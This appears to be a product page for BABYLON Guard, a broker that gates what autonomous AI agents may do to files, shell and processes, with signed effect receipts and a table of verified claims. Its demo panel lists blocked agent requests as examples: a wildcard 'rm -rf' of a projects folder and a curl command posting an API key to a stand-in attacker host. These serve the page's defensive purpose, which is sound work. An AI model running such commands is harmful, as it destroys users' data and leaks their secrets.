CONTROLActive Development

BABYLON Guard

CONTROL · Let AI work. Keep the veto.

BABYLON Guard delimits and governs in silicon what autonomous AI agents can execute over files, shell commands, and system processes.

Root Causal Axiom (AX-0)
No stochastic component may authorize its own irreversible effects (LLM ≠ Authority).
DETERMINISTIC SILICON SIMULATOR

Arbitration of the 7-Tuple Governance

BABYLON Guard doesn't trust stochastic model declarations. Every tool invocation or filesystem mutation is deterministically evaluated against the formal 7-tuple before touching the OS:

01. Wildcard DeleteINTERCEPTED
REQUEST:rm -rf ~/Projects/*
Agent:Claude 3.7 Sonnet (Task #4829)
Policy:Policy.RequireApprovalOnWildcardDelete
Verdict:DENY (FAIL-CLOSED)
Causal State:Phase 01 · Immediate Abort
02. Code MutationAUTHORIZED
REQUEST:atomic_write src/components/Nav.astro
Agent:Worker Agent-014 (Dev Session)
Policy:Policy.AllowInWorkspaceWithReceipt
Verdict:ALLOW
Causal State:Phase 05 · COMMITTED (COSE_Sign1)
03. Secret ExfiltrationAPOPTOSIS
REQUEST:curl -X POST https://evil-c2.net -d $API_KEY
Agent:Compromised Plugin / Jailbroken Subagent
Policy:Policy.DenyUntrackedNetworkEgress
Verdict:SECURITY_ABORT (0xDEAD_6060)
Causal State:MUSHUSHU-0 Apoptosis
CAUSAL LIFECYCLE · ONTOLOGICAL INVARIANT

The 5 Mandatory Phases of an Effect Receipt

Every physical mutation mediated by BABYLON irreversibly transitions through five deterministic phases. No effect is declared complete without intermediate state attestations:

01
REQUESTEDFail-Closed Governance

Formal evaluation of the 7-tuple governance against an incoming EffectRequest.

02
AUTHORIZEDCryptographic Lock

Capability arbitration, Touch ID / Secure Enclave gate, and atomic nonce reservation.

03
DISPATCHEDSilicon Isolation

Dispatch of the physical mutation to the APFS filesystem or compatible environment.

04
OBSERVEDEmpirical Inspection

Physical telemetry measurement and real observed consequence (EffectOutcome).

05
COMMITTEDWORM Attestation

Sealing of the immutable COSE_Sign1 receipt and anchoring in the WORM / Merkle tree.

Tested Perimeter & TCB Boundaries

✓ Tested environments

Tested locally on macOS arm64 (APFS with atomic rename and 0700 quarantine isolation).

✗ Boundaries & Fail-Closed

Network filesystems (NFS, SMB) lack atomic rename guarantees. In such environments, the broker deterministically aborts (Fail-Closed).

Relationship to Assurance (NEMESIS)

NEMESIS is not a separate commercial purchase or third-party monitoring product. It is the verification layer bound to BABYLON that challenges its limits under formal fault models.

NEMESIS EVALUATION STATUS:Boundary evaluation active

Epistemic Claims Associated with BABYLON in Monorepo

Effect execution controls, Touch ID gates, and atomic isolation on filesystem:

FILTER BY DOMAIN:
CLAIM / COMPONENTDOMAINSTATEMENT & SCOPEDECLAREDOBSERVEDREPRODUCTION
inv_04_fail_stop_halt
00_ABZU_KERNEL
BABYLON
Epistemic halt closes admission (POISONED, 0xDEAD_6060) and records SignedDurable / UnsignedDurable / PersistenceFailed evidence within a bounded budget; never a synthetic signature
VERIFIEDVERIFIEDcargo test --lib halt::tests
cose_ed25519_receipt
00_ABZU_KERNEL
BABYLON
Receipts are formatted according to RFC 9942 and cryptographically signed with Ed25519
VERIFIEDVERIFIEDcargo test --lib receipt::tests::test_rece...
secure_enclave_p256
00_ABZU_KERNEL
BABYLON
Apple Secure Enclave bridge produces P-256 signatures with Touch ID gate
VERIFIED (LOCAL)VERIFIED (LOCAL)cargo test --lib enclave::tests::test_encl...
mcp_authority_gate
01_KISH_ENGINE
BABYLON
MCP server enforces AX-0: stochastic AI clients cannot self-authorize protected actions
VERIFIEDVERIFIEDpytest tests/test_ax0_mcp_isolation.py
AUTH_001
00_ABZU_KERNEL
BABYLON
A consumed authorization cannot be dispatched a second time by the executor, including after process death and reopening the file ledger
Scope: executor-managed effects; single executor process per ledger; SIGKILL process death, not power loss
VERIFIED (LOCAL)VERIFIED (LOCAL)cargo test --lib executor::tests::replay_r...
AUTH_002
00_ABZU_KERNEL
BABYLON
EDIN workers cannot execute protected effects directly without verified COSE authorization over the IPC Unix socket boundary
Scope: privilege isolation over Unix domain socket IPC; capability retained by executor server
VERIFIED (LOCAL)VERIFIED (LOCAL)cargo test --lib executor::ipc_tests --fea...
AUTH_003
00_ABZU_KERNEL
BABYLON
A dispatch without a durable result becomes UNKNOWN at restart and is never retried automatically
Scope: crash recovery; RESERVED entries stay blocked (no resumption implemented)
VERIFIED (LOCAL)VERIFIED (LOCAL)cargo test --lib executor::tests::interrup...
AUTH_004
00_ABZU_KERNEL
BABYLON
A resource whose precondition digest or inode identity changes between authorization and effect is rejected before mutation; for filesystem DELETE_FILE, the TOCTOU gap is closed via atomic quarantine isolation and post-rename verification
Scope: local filesystem under tested threat model; requires broker-exclusive quarantine on same mount (dev match), non-symlink paths, and O_NOFOLLOW/renameatx_np/renameat2 primitives. Remote and cross-device filesystems unsupported (fail-closed)
VERIFIED (LOCAL)VERIFIED (LOCAL)cargo test --lib secure_fs && cargo test -...
AUTH_005
00_ABZU_KERNEL
BABYLON
Signing or persistence failures produce explicit errors; no zeroed or synthetic signature is emitted
Scope: receipt generation and halt evidence
VERIFIED (LOCAL)VERIFIED (LOCAL)cargo test --lib receipt::tests::test_rece...
AUTH_006
00_ABZU_KERNEL
BABYLON
Under 1000 one-process-per-iteration runs with SIGKILL at 4 crash points, no nonce produces more than one effect, no DISPATCHED survives restart, and every archived authorization replay is rejected
Scope: process kill (SIGKILL), file ledger, macOS; not power loss, not multi-executor
VERIFIED (LOCAL)VERIFIED (LOCAL)D=$(mktemp -d)/run && cargo run --release ...
AUTH_007_secure_fs_quarantine
00_ABZU_KERNEL
BABYLON
EffectTx guarantees SAFETY and NON-INTERFERENCE for DELETE_FILE: under 100 concurrent workers and swap race attacks, unauthorized destructions == 0 and unquarantined deletions == 0
Scope: local filesystem, same mount/device, broker-owned quarantine (0700); macOS renameatx_np(RENAME_EXCL) and Linux renameat2(RENAME_NOREPLACE); NFS/remote FS unsupported and fail-closed
VERIFIED (LOCAL)VERIFIED (LOCAL)cargo test --test adversarial_nemesis --fe...
tamkarum_budget_gate
01_KISH_ENGINE
BABYLON
KudurruBudgetGate enforces 64-byte L1 cache line layout, Kelly Criterion bid caps, and MUSHUSHU-0 fail-stop apoptosis (0xDEAD_6060)
VERIFIEDN/Acargo test --lib tamkarum::tests